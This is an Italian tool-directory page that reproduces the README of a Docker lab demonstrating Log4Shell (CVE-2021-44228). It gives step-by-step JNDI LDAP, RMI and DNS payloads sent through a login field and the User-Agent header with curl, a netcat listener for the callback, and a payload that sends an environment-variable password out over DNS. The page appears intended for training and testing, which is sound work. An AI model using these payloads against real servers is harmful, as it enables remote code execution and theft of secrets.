Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4j-poc — Una demo di exploit RCE LDAP basata su Docker per CVE-2021-44228 Log4Shell | Kitploit
Strumenti/GitHubGitHub/cyberxml/log4j-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubcyberxml/log4j-poc

log4j-poc

Una demo di exploit RCE LDAP basata su Docker per CVE-2021-44228 Log4Shell

Vedi Repository
72333 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

log4j-poc

Un exploit LDAP RCE per CVE-2021-44228 Log4Shell

Descrizione

Il server demo Tomcat 8 sulla porta 8080 ha un'app vulnerabile (log4shell) distribuita su di esso e il server è anche vulnerabile tramite attacchi user-agent.

L'app exploit remota in questa demo si basa su quella trovata su https://github.com/kozmer/log4j-shell-poc

Questo server Tomcat demo (Tomcat 8.5.3, Java 1.8.0u51) è stato riconfigurato per usare Log4J2 per il logging - una configurazione non standard.

Un server Bitnami più recente è ora disponibile sulla porta 8888. Anch'esso è configurato per il logging Log4J2 ed esegue Tomcat 9.0.55 e OpenJDK 11.0.13.

L'exploit RMI contro il server Tomcat 9 / Java 11 è descritto qui: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3 gennaio 2019) di Michael Stepankin

Lo script di rilevamento controllerà le vulnerabilità user-agent e proviene da qui: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

Prerequisiti

Questo codice richiede Docker e Docker Compose

Installazione

root@kitploit:~
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# modifica docker-compose.yml per regolare le variabili d'ambiente secondo necessità.
#   POC_ADDR è l'indirizzo del contenitore cve-poc
#   LISTENER_ADDR è l'indirizzo del listener 'nc', ad esempio l'host docker
# L'indirizzo IP del listener è l'indirizzo della macchina su cui eseguirai il listener netcat 'nc'
# Può essere l'IP locale della macchina host docker.
docker-compose build

Eseguire la demo dell'attacco all'applicazione web

  1. Configura il listener docker nel primo terminale
    1. nc -lv 10.10.10.31 9001
  2. Avvia i contenitori docker in un secondo terminale
    1. docker-compose up
  3. Naviga all'applicazione web sulla porta 8080
    1. Naviga a http://10.10.10.31:8080/log4shell
      1. Inserisci il nome utente: admin
      2. Inserisci la password: password
      3. Seleziona il pulsante "login"
      4. Vedi la schermata di benvenuto
    2. Torna al login su http://10.10.10.31:8080/log4shell
      1. Inserisci il nome utente ${jndi:ldap://172.16.238.11:1389/a}
      2. Seleziona il pulsante "login"
      3. Controlla la connessione sul tuo listener nc

Eseguire un attacco User Agent

  1. Configura il listener docker nel primo terminale
    1. nc -lv 10.10.10.31 9001
  2. Avvia i contenitori docker in un secondo terminale
    1. docker-compose up
  3. In un terzo terminale, esegui il comando seguente. Il secondo IP è l'host docker
    1. curl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shell

Eseguire una demo di esfiltrazione DNS sulla versione recente di Java 11

  1. Avvia i contenitori docker in un terminale
    1. docker-compose up
  2. In un secondo terminale, esegui il comando seguente. L'IP è l'indirizzo IP dell'host docker
    1. curl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/
  3. Il server web vulnerabile tenterà di eseguire una ricerca TXT all'IP specificato. Vedi log4j-dns_exfil.pcap

Eseguire una demo RMI RCE sulla versione recente di Java 11

Sto avendo problemi con l'argomento da riga di comando per il target ping. Quindi devi compilare da solo.

Compilare

  1. Avvia i contenitori docker in un terminale
    1. docker-compose up
  2. In un altro terminale, accedi a cve-poc
    1. docker exec -it log4j-poc_cve-poc_1 /bin/bash
  3. Termina l'istanza RMIServerPOC in esecuzione
  4. Spostati nella directory rmi-poc
    1. cd /home/user/rmi-poc
  5. Modifica RMIServerPOC.java per cambiare 10.10.10.31 con il tuo target ping
  6. Ricompila
    1. javac -cp catalina.jar:. RMIServerPOC.java
  7. Esegui il Server
    1. javac -cp catalina.jar:. RMIServerPOC 127.0.0.1

Eseguire la demo RMI RCE

  1. Avvia i contenitori docker in un terminale
    1. docker-compose up
  2. In un secondo terminale, esegui il comando seguente. L'IP è l'indirizzo IP dell'host docker
    1. curl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/
  3. Il server web vulnerabile scaricherà una classe dannosa serializzata dal server RMI per una classe che esiste già nell'ambiente Tomcat.
  4. Questo eseguirà il ping dell'indirizzo IP definito nella sezione di compilazione.

Rilevare la vulnerabilità UA

  1. cd scripts
  2. python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2
  3. dovrai uccidere il processo, non sono ancora sicuro del perché si blocchi
Scarica lo strumento